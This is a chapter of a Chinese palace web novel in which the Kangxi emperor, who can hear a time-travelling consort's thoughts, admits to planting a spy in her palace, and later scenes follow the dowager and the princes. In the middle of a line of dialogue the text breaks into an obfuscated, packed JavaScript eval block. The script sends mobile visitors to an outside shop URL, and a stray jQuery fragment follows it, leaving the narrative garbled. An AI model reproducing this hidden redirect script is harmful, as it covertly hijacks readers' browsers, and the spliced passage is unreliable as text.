“说起来我今日都没怎么见到云兰?”齐满月环顾了主殿,总觉得哪里有些不对,尤其是感觉有些面孔不见了,“好像……宫里有些人变了?”
云秀眉头微蹙下意识看向云月,她们可没提前告诉她,永寿宫里不仅云兰被带走,还被带走了那么些人。
云月和云朵面面相觑后深吸一口气,向前一步说道:“主子,是乾清宫的梁公公将人带走的,他说皇上交代过晚上回来跟您解释。”
齐满月听到对方说是乾清宫的梁九功将人带走,第一反应就是自己无意中做了什么得罪了康熙,以至于康熙迁怒了永寿宫的宫人。
可云月这一解释,她瞬间就明白过来,应该不是自己的错,不然康熙迁怒的也该是云秀云月这几个更近身的宫人,而非不怎么熟悉的云兰还有其他宫人。
“云兰也被带走了?她一向小心谨慎,也不大爱往前面来,怎么会牵扯到她?”齐满月还是觉得不对。
云月和云朵皆是摇了摇头,至于她们的猜测,自然也不敢和齐满月说,毕竟万一猜错了,引得对方担忧可就不好了。
“主子,既然梁公公说,皇上晚上来给您解释,不如晚上问一下皇上。”云秀见她眉头紧蹙,担心她操心影响了身体,赶忙劝解道。
“是啊主子,反正皇上晚上来,到时候您问问他。”云月也跟着劝道。
看着连云朵都上前百般劝说了,齐满月忍笑着摆了摆手:“放心吧,我不会多想的。”
在心里齐满月暗自叹了口气:“能惊动康熙的怕不是小事啊,希望不会牵扯到其他宫人……”
见她面上果然不见多少烦忧,云秀几人也不由松了口气,摆点心的摆点心,帮她卸妆的卸妆,云朵更是跑到手工房给她拿了看了一半的话本子。
这个话本子齐满月并没有看多久,就直接在软榻上睡着了。
看她睡得香甜,云秀等人小心撤下矮桌,将她的腿扶到软塌上,轻轻给她盖了个毯子,才示意云月两人出去。
“到底怎么回事,你们瞒得过主子可瞒不过我。”云秀虽是四人中年纪最小的,可性格却是最为稳重的,也是齐满月从贵人开始到如今一直所依靠的。
所以云月等人对她向来极为敬服,听到她这样说便也没迟疑,赶忙将自己的猜测说了一通。
云秀脸阴了又阴,许久后,才冷眼扫过她二人:“你们没做过这种不长脑子的事儿吧?”
两人连连摇头:“自然不会,云秀姐姐我二人又不傻,咱们主子仁善大方,跟着这样的主子是我们的福分。”
听到她们这样说,云秀的脸色好了一瞬,她轻叹了口气说道:“既然你们清楚,就好好侍候主子。咱们主子要盛宠有盛宠,要地位有地位,如今还有了龙嗣,在这里必然比其他地方好的,记住,主子好你们才好。”
云月和云朵自然是口中称是。
云秀也没再说什么,只摆了摆手让人散去。
看着两人离去的背影,云秀深深叹了口气,又看向那些被替换来的新面孔,眼眸中闪过数道情绪后,才无声地回到主殿。
等康熙从乾清宫忙完政务来的时候,就看到齐满月躺在软榻上睡得香甜,一本话本子被整齐地放在一侧。
他叹了口气,并没有让云秀将人唤醒,反而摆手让人退下。
云秀愣了一瞬,似乎想说什么,可犹豫了一瞬后还是恭敬离开。
康熙拿起一侧的话本子翻看了一会儿后,忍不住揉了揉额角,下意识就想要抬手将齐满月叫醒,好好教育下她这种妖魔鬼怪的话本子,怀孕期间还是少看吧。
可一抬头就看到齐满月的睡颜,心不由就软了下来。
罢了,随她吧,从那个他虽然不明白却一看就比他的大清更好的时代过来,他总觉得如何纵容对方都无法弥补这种时空所带来的落差。
“妈妈……想吃辣条……唔……芒果雪媚娘好好吃……”正想着,齐满月睡梦中的几声呓语传到他的耳中。
康熙愣了一瞬,抬手轻轻地抚上齐满月的脸:“辣条是什么朕不懂,芒果雪媚娘是什么朕也不知道,若是你日后想起来,可愿多想想,细想想,朕……愿倾力如你所愿啊……”
齐满月睡梦中想到什么一样眉头紧皱,许久后心声里多了一句:“好想重新环游世界啊……”
康熙的手僵在原地,他的脑子突然一片清明,刚刚涌上来的那一瞬间的雄心壮志也立刻消弭。
他想他这辈子都做不到让对方不再回忆前世了……
“皇上?”康熙正发着呆,齐满月却从睡梦中醒来,她呆愣着看着康熙,好半天才反应过来不是做梦。
“嗯,醒了。”康熙上前小心扶住她,不忘给她后面垫上软垫,“不必下来,好好歇歇就是。”
“都歇了一天了。”齐满月笑着借力直接坐了起来,“臣妾就不给您行礼了?”
“行,朕特许你不必行礼。”康熙笑着点了点她的眉心,直接坐到她的身边,将齐满月的手放在自己掌心,“就没什么想问朕的?”
齐满月抬头看了他一眼,心知他在想什么:“这话说的,后宫您是主子,监视后妃不是正常的吗?”
听着她的心声,康熙暗自叹了口气,他不想让齐满月和好不容易哄好的太皇太后有间隙,也不想让她迁怒后宫某位高位妃嫔,平白惹出事端,只能无奈点头承认云兰是他的人。
“朕本想着让云兰暗中关照你,若是有什么要紧的,你不好意思告诉朕,朕也可以知道。”康熙顿了顿,才睨了对方一眼,“生气了?”
“生啥气?”齐满月呆愣愣的回看了一眼康熙,心中更是暗自叫苦,“完了刚刚脑子飞了,完全没注意这位爷在说什么,啊啊,死脑子快想啊!”
康熙被她这心声气了个够呛,可也松了口气,至少对方不会在这上面生他的气:“罢了,也没事儿,日后永寿宫不会有人再监视你,朕也不会再安排人。”
“臣妾都听皇上的。”齐满月面上自然还是那副乖巧的模样,心里却忍不住翻着白眼,“可去你的吧,就像是你安排了我也未必能知道怎么解决一样。”
康熙看了看天色,正打算直接休息在永寿宫,可被齐满月这一吐槽,休息的心顿时熄了几分:“行了,你也早点休息吧,朕回去了。”
齐满月听后下意识挑了挑眉,心中有些意外:“咦?竟然没打算留宿?也对,我都怀孕了,按理说是不是该安排宫女侍奉?还是别了吧……像拉皮条的。”
康熙原本提出的离开还带着几分逗弄的意味,心中颇有些想知道齐满月会不会不舍得,万没想到她竟然是这么个反应,离开的心也成了九分。
见他真的起身离开,齐满月大松了口气,难掩欣喜的送着对方离开。
康熙咬了咬后槽牙,看着梁九功冷哼一声说道:“走!去翊坤宫宜妃那里!”
他心中是无法掩饰的期待,希望齐满月能够从心声里吐出一两句酸意,却没想到竟然收获的还是满满的开心欢送。
康熙心中忍不住暗骂,这人,自己都想办法在太皇太后面前为她说了多少好话,做了多少努力,可她还没心没肺到连一份心都不肯往自己身上放一放。
“皇上?”梁九功暗示小太监们抬轿辇的动作放慢许多,直到走到岔路口时,才轻声开口。
康熙瞥了他一眼,直接骂道:“狗奴才!”
梁九功从这声轻骂中听出了康熙并无责备的意思,忙弯腰对皇上回道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17624352|204029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那皇上……咱们还去翊坤宫吗?”
康熙回看了眼身后的永寿宫,叹了口气:“回乾清宫吧。”
“是。”梁九功并没有因为自己猜中就露出欣喜的笑,反倒是在心中叹了口气,将齐满月的重要性再次往上拔了几个层次。
之后的日子尚且称得上平和,宫里怀孕的妃嫔不少,尤其又都是高位嫔妃,所以请安制度一直未曾恢复,康熙也没有像众人所猜测的那样一直留宿永寿宫。
反而和过去一样,一个月内总会临幸一两个妃嫔。
孝庄曾想试探一下齐满月的态度,想知道她会不会因此吃醋,对皇上或者后宫妃嫔起了什么想法。
却不承想,仅两次她就被气得不想见齐满月了。
“这丫头竟然一点都不生气也不吃醋!?”孝庄看着齐满月带着好吃的快乐离开,忍不住看向苏麻喇姑,“这可真是!”
“主子……”苏麻喇姑自然是知道她更多是因为心疼付出那么多的康熙得不到一个女人的心,她也有些心疼,却也理解齐满月,直接开口劝道,“这也未尝不是好事啊……”
孝庄揉了揉额角,叹了口气:“无爱不生妒,确实是好事,只是……我实在心疼玄烨啊。”
“帝王的爱恨转瞬即逝,若是齐佳氏真的动了心,到之后……”苏麻喇姑拍了拍她的手。
孝庄此时也反应过来,她点了点头:“听说皇贵妃身边的秋月最近和永寿宫的云秀走的很近?”
“听说是在教云秀如何处理永寿宫的琐事。”苏麻喇姑想了想点头应是。
“她倒是有心,怕是胤禛那孩子没瞒住她吧……”
“奴婢倒觉得是皇贵妃心思聪慧,自己察觉出了什么。”苏麻喇姑却有些不赞同道。
“襄嫔自入宫以来,这心声就未曾停止过,能够传入她耳中一言半语倒也不稀奇。”孝庄摆了摆手不在意道。
被她们议论的皇贵妃此时正和惠妃、荣妃聊着宫务的事情,就听不远处嘈杂的脚步声传来。
不少小太监跟在一个奔跑的蓝色身影后面喊着“大阿哥!小心,小心!”
几位娘娘面面相觑,等听清楚来者是谁后,惠妃的脸都僵了,她强撑着给皇贵妃道了个歉后,才起身脚步飞快的冲向门外。
外面的胤禔看到惠妃,连她的脸色都没注意到,直接喊道:“额娘!太子又……唔!”
他话还没出口,就被惠妃一巴掌打断。
捂着被打痛的臂膀,胤禔一脸茫然地看着惠妃。
“还!不!给!你!两!位!妃!母!行!礼!”一字一顿下,胤禔总算反应过来了,低垂着头默默走进屋,给皇贵妃和荣妃行礼后,才又默默出了门。
“儿……儿子,等下再来。”他偷偷瞧了一眼惠妃的脸色,夹着尾巴地小狗一样,撇开一句话撒腿就跑。
惠妃捂着额头,总觉得头不是一般的晕。
那边的太子看着刚被自己叫了一声“大哥”,就一副见鬼模样跑走的胤禔,忍不住对着虚空翻了个白眼。
“太子殿下……您叫大殿下……大哥,确实不合规矩。”毓庆宫的太监总管在上次被太子救下后,胆子都大了几分。
太子斜睨了他一眼,没像他以为的那样像过去一样震怒,反倒是叹了口气:“本宫知道。”
他表情复杂地看着胤禔身影消失的方向,那些幻境中的记忆不断的浮现在他的眼中,胤禔的身影仿佛成了那段生命里那些不断保护他,挡在他面前的人们,他回忆着所从那里得到的零星历史,也明白了系统的执念还有齐满月对大清的那种说不上来的恶感。
如果从这一刻起,他们兄弟携手一起重建大清,会不会能让后世的人少憎恨他们一些呢